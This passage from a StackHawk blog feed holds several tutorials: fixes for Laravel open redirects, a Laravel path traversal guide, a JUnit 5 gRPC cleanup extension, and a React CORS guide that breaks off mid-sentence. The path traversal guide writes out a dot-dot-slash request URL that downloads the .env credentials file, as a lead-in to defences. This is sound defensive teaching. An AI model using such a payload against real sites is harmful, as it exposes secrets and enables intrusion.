won&amp;#39;t affect the user&amp;#39;s navigation.&lt;/p&gt;&lt;p&gt;But what if you have a lot of links or the links are dynamic? Let&amp;#39;s consider another option.&lt;/p&gt;&lt;h3&gt;Domain-Based Redirects Solution&lt;/h3&gt;&lt;p&gt;We can use this approach if there are lots of URLs or the URLs have dynamic components to them. In this approach, we restrict the code to redirection to within the current hostname.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This approach works by making sure the user is never accidentally redirected out of the website you control.&lt;/p&gt;&lt;p&gt;Another twist on this approach is to display a warning to the user if you&amp;#39;re redirecting away from your own website. For example, here&amp;#39;s Google&amp;#39;s warning when navigating away from some of its websites.&lt;/p&gt;&lt;h2&gt;Next Steps and Digging Deeper&lt;/h2&gt;&lt;p&gt;In this post, you learned about the open redirect vulnerability and how dangerous it can be. You also learned about possible approaches that you can take to fix these vulnerabilities on Laravel.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re interested in further reading on the subject, a good place to start would be to see how this vulnerability&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html&quot;&gt; &lt;u&gt;affects other platforms&lt;/u&gt;&lt;/a&gt; and even more&lt;a href=&quot;https://cwe.mitre.org/data/definitions/601.html&quot;&gt; &lt;u&gt;approaches to dealing with them&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; can also help you stay educated with its helpful&lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt; blog&lt;/a&gt;. You can&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;sign up for a free account&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by John Pereira. &lt;/i&gt;&lt;a href=&quot;http://randomcoding.com/&quot;&gt;&lt;u&gt;&lt;i&gt;John&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a technology enthusiast who&amp;#39;s passionate about his work and all forms of technology. With over 15 years in the technology space, his area of expertise lies in API and large scale web application development, and its related constellation of technologies and processes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel Path Traversal Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-path-traversal-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;So you&amp;#39;ve deployed your &lt;a href=&quot;https://laravel.com/&quot;&gt;&lt;u&gt;Laravel&lt;/u&gt;&lt;/a&gt;-based website, and you want people to find and see it. However, keep in mind that there are files your website needs to run that you don&amp;#39;t want users to see, ever. Those could be &lt;a href=&quot;https://www.php.net/&quot;&gt;&lt;u&gt;PHP&lt;/u&gt;&lt;/a&gt; files containing configuration data, such as database credentials and API keys. They could be private keys for your web server&amp;#39;s SSL certificate. Or, if you have an interactive website with user-generated content, there may be files that some users have uploaded for personal or limited use. No other user should have access to these files or be able to read, overwrite, or delete them without permission. &lt;/p&gt;&lt;p&gt;This article will examine path traversal attacks, a common problem through which websites leak internal files. We&amp;#39;ll discuss where they can happen on Laravel-based websites and how to prevent them. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;What Is a Path Traversal Attack?&lt;/h2&gt;&lt;p&gt;Like &lt;a href=&quot;https://www.stackhawk.com/blog/laravel-xss/&quot;&gt;&lt;u&gt;XSS (cross-site-scripting)&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-laravel/&quot;&gt;&lt;u&gt;SQL injection attacks&lt;/u&gt;&lt;/a&gt;, the attack vector of a path traversal attack is user-provided information that the server uses without proper and prior sanitization. With XSS, attackers rely on the website executing their input as JavaScript. And with SQL injections, attackers attempt to modify raw database queries. With a path traversal attack, the attackers want the webserver to treat their input as a file name with path information. This way, they can instruct the web application to reveal or modify any file as long as PHP can access it, even when an end user isn&amp;#39;t supposed to. &lt;/p&gt;&lt;p&gt;There are two ways attackers can provide unwanted path information. One uses an absolute path starting from the root of the operating system (&amp;quot;/&amp;quot;). The other way uses relative paths with the two-dot notation for going up one directory in the hierarchy (&amp;quot;../&amp;quot;). Because of the latter, a path traversal attack is also called the &amp;quot;dot-dot-slash&amp;quot; attack. &lt;a href=&quot;https://owasp.org/www-community/attacks/Path_Traversal&quot;&gt;&lt;u&gt;Other names that OWASP lists for this attack include &amp;quot;directory climbing,&amp;quot; &amp;quot;directory traversal,&amp;quot; and &amp;quot;backtracking.&amp;quot;&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;h2&gt;Understanding Laravel Directory Structure&lt;/h2&gt;&lt;p&gt;As a prerequisite to understanding the scope and potential weak points for path traversal attacks in Laravel, let&amp;#39;s look at the framework&amp;#39;s directory structure. When you create a new Laravel project, you&amp;#39;ll find a couple of files and directories. &lt;/p&gt;&lt;p&gt;In your webserver configuration, there is a root directory for your Laravel project. It isn&amp;#39;t the directory for the project itself but rather the &lt;b&gt;public&lt;/b&gt; subdirectory. As a result, the webserver can directly deliver any file in the &lt;b&gt;public&lt;/b&gt; subdirectory without involving Laravel. Files in other directories like &lt;b&gt;vendor&lt;/b&gt;, &lt;b&gt;config&lt;/b&gt;, and &lt;b&gt;storage&lt;/b&gt; are invisible to the web server, so they&amp;#39;re protected from direct access. They&amp;#39;re still potential victims of path traversal attacks, as we&amp;#39;ll learn in a bit. In the public subdirectory, you&amp;#39;ll also find the &lt;b&gt;index.php&lt;/b&gt; file that acts as the entry point for the web application. Your HTML pages and API routes all go through this file. &lt;/p&gt;&lt;p&gt;Assuming your website is &lt;b&gt;example.com&lt;/b&gt;, requesting &lt;u&gt;https://example.com/file.jpg&lt;/u&gt; would deliver &lt;b&gt;file.jpg&lt;/b&gt; from the public directory if it exists. A request for &lt;u&gt;https://example.com/path/to/page&lt;/u&gt; would go to &lt;b&gt;index.php &lt;/b&gt;since that path doesn&amp;#39;t exist as a file in the &lt;b&gt;public&lt;/b&gt; directory, and Laravel would handle it according to the routes you configured. &lt;/p&gt;&lt;p&gt;Could you break out of the public subdirectory, for example, by requesting &lt;u&gt;https://example.com/../config/app.php&lt;/u&gt;? Luckily the answer is no. Webservers like &lt;a href=&quot;https://httpd.apache.org/&quot;&gt;&lt;u&gt;Apache&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://nginx.org/en/&quot;&gt;&lt;u&gt;Nginx&lt;/u&gt;&lt;/a&gt; already protect you from breaking out of the root directory (the &lt;b&gt;public&lt;/b&gt; one). And all the other paths are handled by &lt;b&gt;index.php&lt;/b&gt; and Laravel routes, which don&amp;#39;t directly correspond to files. So where is the problem? &lt;/p&gt;&lt;h2&gt;Laravel File Delivery&lt;/h2&gt;&lt;p&gt;Sometimes you want to deliver a file that you&amp;#39;ve stored outside the public directory to a user. A typical reason is that you want to make files available only to authenticated users. Laravel supports this type of behavior with the &lt;b&gt;download()&lt;/b&gt; function on its &lt;b&gt;Response&lt;/b&gt; object. Here&amp;#39;s an example route implementation for downloading a specific file from the &lt;b&gt;storage/app&lt;/b&gt; directory: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The previous code example is perfectly safe because there is no user-provided parameter that could cause problems. It also demonstrates the &lt;b&gt;storage_path()&lt;/b&gt; function to access the storage directory without building the path yourself. Now, imagine you have multiple files in your &lt;b&gt;storage/app&lt;/b&gt; directory. In this case, you may create a parameterized download function such as the following: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Testing your code for functionality would show that this is working (if you only try for valid cases). To get the same file as in the first example, a user would enter the following URL: &lt;u&gt;https://example.com/download?filename=PrivateDocument.pdf&lt;/u&gt;&lt;/p&gt;&lt;h2&gt;The Problem&lt;/h2&gt;&lt;p&gt;Next, put on your &lt;a href=&quot;https://en.wikipedia.org/wiki/Black_hat_(computer_security)&quot;&gt;&lt;u&gt;black hat&lt;/u&gt;&lt;/a&gt; and try to do something unauthorized. How about the following URL: &lt;u&gt;https://example.com/download?filename=../../.env&lt;/u&gt; &lt;/p&gt;&lt;p&gt;Congratulations, you just downloaded the file with the environment variables, containing possibly all your precious credentials! &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Since there was no check for a path traversal attack, you were able to move outside the storage/app directory and get an internal project file. &lt;b&gt;Now, how can you prevent this?&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;The Solution &lt;/h2&gt;&lt;p&gt;If you know that all relevant files are in the same directory, you can use PHP&amp;#39;s built-in &lt;b&gt;basename()&lt;/b&gt; function to strip off any path information from the file name: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The solution, as mentioned above, requires only a single function and works very well. It has the downside that it strips all path information, including some you may want to accept. For example, you may have files in subdirectories. The following URL would fail, even if the file &lt;b&gt;storage/app/user1/document.pdf&lt;/b&gt; existed, because it would look for &lt;b&gt;storage/app/document.pdf&lt;/b&gt;: &lt;u&gt;https://example.com/download?filename=user1/document.pdf&lt;/u&gt;&lt;/p&gt;&lt;p&gt;We can solve that with another PHP function called &lt;b&gt;realpath()&lt;/b&gt;. Unlike &lt;b&gt;basename()&lt;/b&gt;, which modifies a string and removes its prefix, &lt;b&gt;realpath()&lt;/b&gt; also searches for the file in question. It returns a Boolean &lt;b&gt;false&lt;/b&gt; if the file doesn&amp;#39;t exist, which you can use to produce a proper error message. However, if the file exists, it returns its entire path, resolving any dot-dot-slash notation in the process. For example, if you&amp;#39;re in the &lt;b&gt;storage/app&lt;/b&gt; directory and enter &lt;b&gt;../filename&lt;/b&gt;, it returns &lt;b&gt;storage/filename&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;After using &lt;b&gt;realpath()&lt;/b&gt;, you can check if the allowed path is a prefix of the entered filename and take necessary action if it isn&amp;#39;t. The following code example illustrates that. It first assigns the approved directory to &lt;b&gt;$basepath&lt;/b&gt;, then reads the filename and processes it with &lt;b&gt;realpath()&lt;/b&gt;, and finally checks whether the file exists and also that it lives in the &lt;b&gt;$basepath&lt;/b&gt;: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The example returns a &amp;quot;404 Not Found&amp;quot; error for both nonexistent files and invalid file names. &lt;/p&gt;&lt;h2&gt;Other Scenarios&lt;/h2&gt;&lt;p&gt;I&amp;#39;ve shown an example with Laravel&amp;#39;s &lt;b&gt;download()&lt;/b&gt; function and used Laravel&amp;#39;s &lt;b&gt;storage_path()&lt;/b&gt; helper in the previous sections. However, that doesn&amp;#39;t mean the problem occurs only in this scenario. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Code that reads and writes files from any directory might suffer from path traversal attacks if &lt;b&gt;any part&lt;/b&gt; of the file name is user-generated. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;To find occurrences in your code, you should search your project for any files that include the &lt;b&gt;Illuminate\Support\Facades\Storage&lt;/b&gt; class, which is Laravel&amp;#39;s standard way of interacting with the file system. Investigate usage of the &lt;b&gt;Storage&lt;/b&gt; façade and where it gets the file and directory names. In addition, search for standard PHP functions that interact with files, such as &lt;b&gt;file_get_contents()&lt;/b&gt; and &lt;b&gt;file_put_contents()&lt;/b&gt;. Once you find them, apply one of the solutions I explained before. &lt;/p&gt;&lt;p&gt;By the way, since &lt;b&gt;basename()&lt;/b&gt; and &lt;b&gt;realpath()&lt;/b&gt; are core PHP functions, not Laravel functions, you can use them in other PHP applications as well. &lt;/p&gt;&lt;h2&gt;Alternative Approaches&lt;/h2&gt;&lt;p&gt;My previous examples solved the issue by sanitizing file name inputs. While the suggestions fix your path traversal problems, you may prevent them from occurring in the first place through different approaches. I want to mention two of them briefly. &lt;/p&gt;&lt;p&gt;The first approach takes us back to the first code example. If you only have one or a handful of files, hardcode their file names in your code and create a separate download route for each of them. &lt;/p&gt;&lt;p&gt;The second approach helps with user-generated content. When you let users upload files, give them randomly generated file names and store a mapping in your database. When it&amp;#39;s time for retrieval, search for the file name in the database first, then use the information stored in the column, not the user input, to retrieve the file. The database table can optionally handle access control lists. A complete explanation of such a solution is beyond the scope of this post, though. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;To Summarize Laravel Path Traversal Attacks&lt;/h2&gt;&lt;p&gt;Path traversal attacks allow users to access the internal files of your application or on the web server. Accessing the file system with unsanitized user input causes these problems. When avoiding file names as user input is not an option, you can use two helpful core PHP functions to check your input and make sure they don&amp;#39;t contain paths outside the directories you want. &lt;/p&gt;&lt;p&gt;Apart from path traversal, XSS, and SQL injections, another type of vulnerability you should always keep in mind is CSRF (cross-site request forgery), which we &lt;a href=&quot;https://www.stackhawk.com/blog/laravel-csrf-protection-guide/&quot;&gt;&lt;u&gt;covered in detail here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Lukas Rosenstock. &lt;/i&gt;&lt;a href=&quot;https://lukasrosenstock.net/&quot;&gt;&lt;u&gt;&lt;i&gt;Lukas&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an independent PHP and web developer turned API consultant and technical writer. He works with clients of all sizes to design, implement, and document great APIs. His focus is on creating integrations and mashups that highlight the values of APIs, and educate developers about their potential.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[GRPC Cleanup Extension for JUnit 5]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/grpc-cleanup-extension-for-junit-5</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;p&gt;The grpc-java project provides &lt;code&gt;GrpcCleanupRule&lt;/code&gt; which is a helpful way to clean up &lt;code&gt;GrpcService&lt;/code&gt; resources in JUnit 4 tests, but it doesn&amp;#39;t work with JUnit 5. JUnit 5 doesn&amp;#39;t support &lt;code&gt;@Rule&lt;/code&gt; classes, but rather has moved that functionality into Extensions. Additionally, the GRPC folks &lt;a href=&quot;https://github.com/grpc/grpc-java/issues/5331&quot;&gt;&lt;u&gt;have said they aren&amp;#39;t moving to JUnit 5 for a while&lt;/u&gt;&lt;/a&gt;, and they suggest sticking with JUnit 4.&lt;/p&gt;&lt;p&gt;Here at StackHawk, we want to use JUnit 5 exclusively, and we want the test resources to get automatically cleaned up to avoid test pollution. So we wrote a JUnit 5 Extension called &lt;code&gt;GrpcCleanupExtension&lt;/code&gt; that handles the channel/server resource cleanup after each test invocation.&lt;/p&gt;&lt;h2&gt;The Problem&lt;/h2&gt;&lt;p&gt;If you run a JUnit 5 test with the&lt;code&gt;GrpcCleanupRule&lt;/code&gt;, you&amp;#39;ll see something this in the logs:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Which means that the &lt;code&gt;GrpcCleanupRule&lt;/code&gt; did not fire (because JUnit 5 doesn&amp;#39;t support &lt;code&gt;@Rule&lt;/code&gt;), and the previous server instance was replaced without shutting down correctly.&lt;/p&gt;&lt;h2&gt;Grpc Cleanup Extension Use&lt;/h2&gt;&lt;p&gt;Here&amp;#39;s a look at how our Grpc Services are set up and how we use the cleanup Extension in tests.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s say we have a &lt;code&gt;GrpcService&lt;/code&gt; implementation called &lt;code&gt;IntegrationService&lt;/code&gt; that&amp;#39;s set up like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When we go to write a test for &lt;code&gt;IntegrationServer&lt;/code&gt;, we set up a &lt;code&gt;GrpcCleanupExtension&lt;/code&gt; instance. The syntax is a little non-Kotlinesque because extensions need to be final static member variables (not in a companion object).&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And that&amp;#39;s it!&lt;/p&gt;&lt;h2&gt;How The Cleanup Extension Works&lt;/h2&gt;&lt;p&gt;Not surprisingly, the &lt;code&gt;GrpcCleanupExtension&lt;/code&gt; looks very similar to the &lt;code&gt;GrpcCleanupRule&lt;/code&gt;. It keeps track of a list of servers/channels, and shuts them down after each test execution in the &lt;code&gt;afterEach&lt;/code&gt; function.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;C&amp;#39;est La Fin&lt;/h2&gt;&lt;p&gt;In order to avoid JUnit 4 when testing &lt;code&gt;GrpcService&lt;/code&gt; classes, we wrote a &lt;code&gt;GrpcCleanupExtension&lt;/code&gt;. It hooks into the JUnit 5 test lifecycle to clean up server/channel resources. Enjoy!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Developers have struggled with CORS for longer than they should. This is because it&amp;#39;s a tricky concept to grasp, especially for new developers who are working with third-party APIs from their single-page applications on React, Angular, Vue, etc.&lt;/p&gt;&lt;p&gt;In this post, I&amp;#39;ll help you understand CORS from the ground up. I&amp;#39;ll set up a sample React app and an Express server to demonstrate how and why CORS errors occur. I&amp;#39;ll also show you how you can deal with it in general and in a React application. &lt;/p&gt;&lt;h2&gt;CORS Explained&lt;/h2&gt;&lt;p&gt;CORS stands for cross-origin resource sharing. Just like HTTPS, it&amp;#39;s a protocol that defines some rules for sharing resources from a different origin. We know that modern web apps consist of two key components: a client and a server. The client requests some data from the server, and the server sends back data as a response. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Client-server request response.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This architecture is popular these days because it allows your back end to be used independently across multiple clients like a web app, a desktop GUI, or a native application.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;The Same-Origin Policy&lt;/h2&gt;&lt;p&gt;Since the client and server are separate applications, they&amp;#39;re usually hosted on different domains. Therefore, your own client that&amp;#39;s requesting data from your own server might have different origins. In another scenario, you might use some third-party services for authentication, analytics, etc. The bottom line is that at some point you are going to interact with an application with a different origin than yours. This means you&amp;#39;re going to request resources from the application by making an HTTP request.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Browser&amp;#39;s same-origin policy.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;When you request a resource from an application of a different origin, the web browser uses an SOP (same-origin policy) protocol to block all your requests to that origin. Back in the day, this is what made the Internet secure! For instance, a malicious cracker or hacker from xyz.com wouldn&amp;#39;t be able to access your information on abcbank.com. However, this underlying security rule governing browsers does not allow you to request a resource from a different origin. That&amp;#39;s a common use case widely used across web apps today. So what&amp;#39;s the solution? &lt;/p&gt;&lt;h2&gt;Enter CORS&lt;/h2&gt;&lt;p&gt;CORS enables you to access a resource from a different origin. It is used to override your browser&amp;#39;s default behavior due to SOP. So now when your client requests a resource, the response will additionally contain a stamp that tells your browser to allow resource sharing across different origins. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Client-server request response with CORS enabled.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Once your browser identifies this stamp, responses for requests from different origins are allowed to pass through. That&amp;#39;s precisely what CORS is, and I hope you understand enough to see it in action. If you wish to learn more about it, here&amp;#39;s a &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;detailed guide&lt;/u&gt;&lt;/a&gt; that may help you out. &lt;/p&gt;&lt;h2&gt;Create Express Server With API Endpoints&lt;/h2&gt;&lt;p&gt;In order to enable CORS, you need to create &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;A client that can request resources from a server&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A server with some endpoints that can send a response back to the client&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Needless to say, both client and server should be running on different domains or have different origins. We can use React to create a simple client that requests resources from a server. However, we first need a server that can serve as an endpoint the client can request a resource from. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s create a simple server using Express with some API endpoints. Inside the directory of your choice, run the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;mkdir cors-server &amp;amp;&amp;amp; cd cors-server &lt;/code&gt;&lt;/p&gt;&lt;p&gt;You should now have an empty folder named &lt;b&gt;cors-server&lt;/b&gt;. Let&amp;#39;s initialize a new npm project inside it by running &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm init -y &lt;/code&gt;&lt;/p&gt;&lt;p&gt;You should now have a &lt;b&gt;package.json&lt;/b&gt; file inside the project. Great! Let&amp;#39;s install &lt;a href=&quot;https://expressjs.com/&quot;&gt;&lt;u&gt;Express&lt;/u&gt;&lt;/a&gt;, a lightweight NodeJS framework for creating web applications. &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i express &lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, create an &lt;b&gt;app.js&lt;/b&gt; file inside the root directory and add the following code to it: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the above code, I have created a minimal server using Express that listens on port 8080. I have two routes, the / and /cors that sends a response. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s run our server using the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;node app &lt;/code&gt;&lt;/p&gt;&lt;p&gt;If you point your browser to http://localhost:8080/, you should see something like this: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Express Server Endpoint.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;And if you visit &lt;b&gt;http://localhost:8080/cors, &lt;/b&gt;you should see something like this: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Express Server Endpoint &lt;/i&gt;&lt;i&gt;&lt;b&gt;/cors.&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;&lt;h2&gt;Set Up React App&lt;/h2&gt;&lt;p&gt;Now that we have a server up and running, let&amp;#39;s set up a simple React app where we can make requests to our server. Create an empty React App by running &lt;/p&gt;&lt;p&gt;&lt;code&gt;npx create-react-app react-cors-guide &lt;/code&gt;&lt;/p&gt;&lt;p&gt;Head over to your &lt;b&gt;App.js&lt;/b&gt; and replace it with the following: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the above code, I have a function &lt;b&gt;makeAPICall&lt;/b&gt; that is invoked when our &lt;b&gt;&amp;lt;App&amp;gt;&lt;/b&gt; component mounts on the DOM. Inside the &lt;b&gt;makeAPCall&lt;/b&gt; function, I make a &lt;b&gt;GET&lt;/b&gt; request to the endpoint &lt;b&gt;http://localhost:8080/ &lt;/b&gt;using the Fetch API. &lt;/p&gt;&lt;p&gt;If you open the browser and check your console, instead of the response from the endpoint you&amp;#39;ll see an error that looks like this: &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS error.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The above is the typical CORS error that occurs because your browser is blocking requests to your server. Even though both your client and the server are running from &lt;b&gt;localhost&lt;/b&gt;, your server is hosted on the port &lt;b&gt;8080&lt;/b&gt; and your React client on port &lt;b&gt;3000&lt;/b&gt;. Therefore, both have a different origin, and the browser&amp;#39;s SOP policy comes into play. Let&amp;#39;s dive deeper into this CORS error and see a server-side solution to fix this problem.&lt;/p&gt;&lt;h2&gt;CORS Should Always Be Handled From Server Side!&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s have a closer look at the above CORS error. &lt;/p&gt;&lt;p&gt;&lt;code&gt;Access to fetch at &amp;#39;http://localhost:8080/&amp;#39; from origin &amp;#39;http://localhost:3000&amp;#39; 
has been blocked by CORS policy: No &amp;#39;Access-Control-Allow-Origin&amp;#39; header is 
present on the requested resource. If an opaque response serves your needs, 
set the request&amp;#39;s mode to &amp;#39;no-cors&amp;#39; to fetch the resource with CORS disabled.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;It states that there&amp;#39;s a missing &lt;b&gt;Access-Control-Allow-Origin &lt;/b&gt;header on the resource you requested. If you think about it, your client doesn&amp;#39;t have anything to do with CORS. It&amp;#39;s only something that your browser imposes, and it suggests that your requested resource should be configured differently. &lt;/p&gt;&lt;p&gt;Therefore, it makes sense to configure the response from the server in such a way that the browser identifies this as a CORS request. Hence, logically, &lt;i&gt;CORS should always be handled from the server side&lt;/i&gt;. Later we&amp;#39;ll explore a way to work around this on the client side, but the most reliable solution is to always make the response from the server CORS-friendly. &lt;/p&gt;&lt;h2&gt;Enable CORS on Server Side&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s head back to our server&amp;#39;s &lt;b&gt;app.js&lt;/b&gt; file. &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/cors&amp;#39;, (req, res) =&amp;gt; {
    res.set(&amp;#39;Access-Control-Allow-Origin&amp;#39;, &amp;#39;*&amp;#39;);
    res.send({ &amp;quot;msg&amp;quot;: &amp;quot;This has CORS enabled 🎈&amp;quot; })
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Inside the request middleware callback, I first set the &lt;b&gt;Access-Control-Allow-Origin &lt;/b&gt;header to an asterisk. The asterisk indicates that this resource can be requested by any client. Let&amp;#39;s also change the endpoint in our React app. &lt;/p&gt;&lt;p&gt;&lt;code&gt;const response = await fetch(&amp;#39;http://localhost:8080/cors&amp;#39;, { mode: &amp;#39;cors&amp;#39; });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now inspect the console. &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS enabled.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Notice that the CORS error goes away and that you get back the response along with some JSON data. Everything works as intended. Great! All you needed to do was to attach that CORS stamp on your response. Note that you may need to restart your back-end server to see the above changes in action. &lt;/p&gt;&lt;p&gt;You can also set the &lt;b&gt;Access-Control-Allow-Origin &lt;/b&gt;to specific domains instead of the asterisk. For instance, setting it to &lt;b&gt;http://localhost:3000&lt;/b&gt; will only enable CORS for clients that are running on the specified URL, &lt;b&gt;localhost:3000&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/cors&amp;#39;, (req, res) =&amp;gt; {
    res.set(&amp;#39;Access-Control-Allow-Origin&amp;#39;, &amp;#39;http://localhost:3000&amp;#39;);
    res.send({ &amp;quot;msg&amp;quot;: &amp;quot;This has CORS enabled 🎈&amp;quot; })
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;While the server-side fix to CORS is the most technically coherent solution to this problem, there&amp;#39;s a small catch. It requires you to make modifications on the server side. In some cases, you might not have access to server-side code. &lt;/p&gt;&lt;p&gt;For example, if you&amp;#39;re using a third-party service for authentication, notification, sending emails, etc., you might run into this problem. In such cases, there isn&amp;#39;t much you can do but shoot an email to the developers asking them to enable CORS for your app. There&amp;#39;s a neat trick specific to React apps that you can use to work around this problem. Let&amp;#39;s see how it works. &lt;/p&gt;&lt;h2&gt;Proxy Requests in a React App&lt;/h2&gt;&lt;p&gt;Have you ever tried to proxy your classmate during a lecture by shouting out to their roll call? That&amp;#39;s how proxying works in API requests as well! You can tell your React app to proxy your requests to a server using the &lt;b&gt;proxy&lt;/b&gt; property inside the &lt;b&gt;package.json&lt;/b&gt; file. &lt;/p&gt;&lt;p&gt;This is a simple one-step process. Go inside your app&amp;#39;s &lt;b&gt;package.json&lt;/b&gt; file and add the following property: &lt;/p&gt;&lt;p&gt;&lt;code&gt;{
...
  &amp;quot;proxy&amp;quot;:&amp;quot;http://localhost:8080&amp;quot;
...
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now if you restart your React development server, you&amp;#39;ll notice that all requests are being served to &lt;b&gt;http://localhost:8080&lt;/b&gt; instead of &lt;b&gt;http://localhost:3000&lt;/b&gt;. You&amp;#39;ve proxied your React development server to your back-end server. The above works exactly the same way for third-party services as well. &lt;/p&gt;&lt;p&gt;Under the hood, when your React app requests resources from &lt;b&gt;http://localhost:8080&lt;/b&gt;, it pretends to be requesting this resource from the origin &lt;b&gt;http://localhost:8080&lt;/b&gt; instead of &lt;b&gt;http://localhost:3000&lt;/b&gt;. This seems in line with browser&amp;#39;s SOP, and you no longer get the CORS error. 
Let&amp;#39;s say you&amp;#39;re using a service on https://randomservice.com and you come across the CORS error. You can add the URL inside the proxy property in your package.json file. &lt;/p&gt;&lt;p&gt;&lt;code&gt;{
...
  &amp;quot;proxy&amp;quot;:&amp;quot;https://randomservice.com&amp;quot;
...
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The development server will only attempt to send requests without text/html in its Accept header to the proxy. &lt;/p&gt;&lt;p&gt;Thus for the above method to work, you need to ensure that the server doesn&amp;#39;t have text/html in its Accept header. In rare cases, you might need to specify more than one proxy URL. You can set up a proxy manually using a package http-proxy-middleware by following the steps given here. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Wrap-Up for CORS in a React App&lt;/h2&gt;&lt;p&gt;Next time you run into the CORS error, remember to handle it first on the server side. If you&amp;#39;re running out of time, you can set up a proxy for your React app for development. You can even create your own proxy server and serve requests through it. This may require some extra effort at first, but it definitely can be worth the investment. &lt;a href=&quot;https://www.telerik.com/blogs/supporting-cors-by-proxying-requests-with-express&quot;&gt;&lt;u&gt;Here&amp;#39;s&lt;/u&gt;&lt;/a&gt; a useful guide that can help you out in that context. &lt;/p&gt;&lt;p&gt;You can even use chrome plugins like &lt;a href=&quot;https://chrome.google.com/webstore/detail/cors-unblock/lfhmikememgdcahcdlaciloancbhjino?hl=en&quot;&gt;&lt;u&gt;CORS Unblock&lt;/u&gt;&lt;/a&gt; to achieve this. Always remember to give a &lt;b&gt;mode&lt;/b&gt; property with the value &lt;b&gt;cors&lt;/b&gt; inside your fetch requests. Lastly, be aware that most of the tricks and hacks on the client 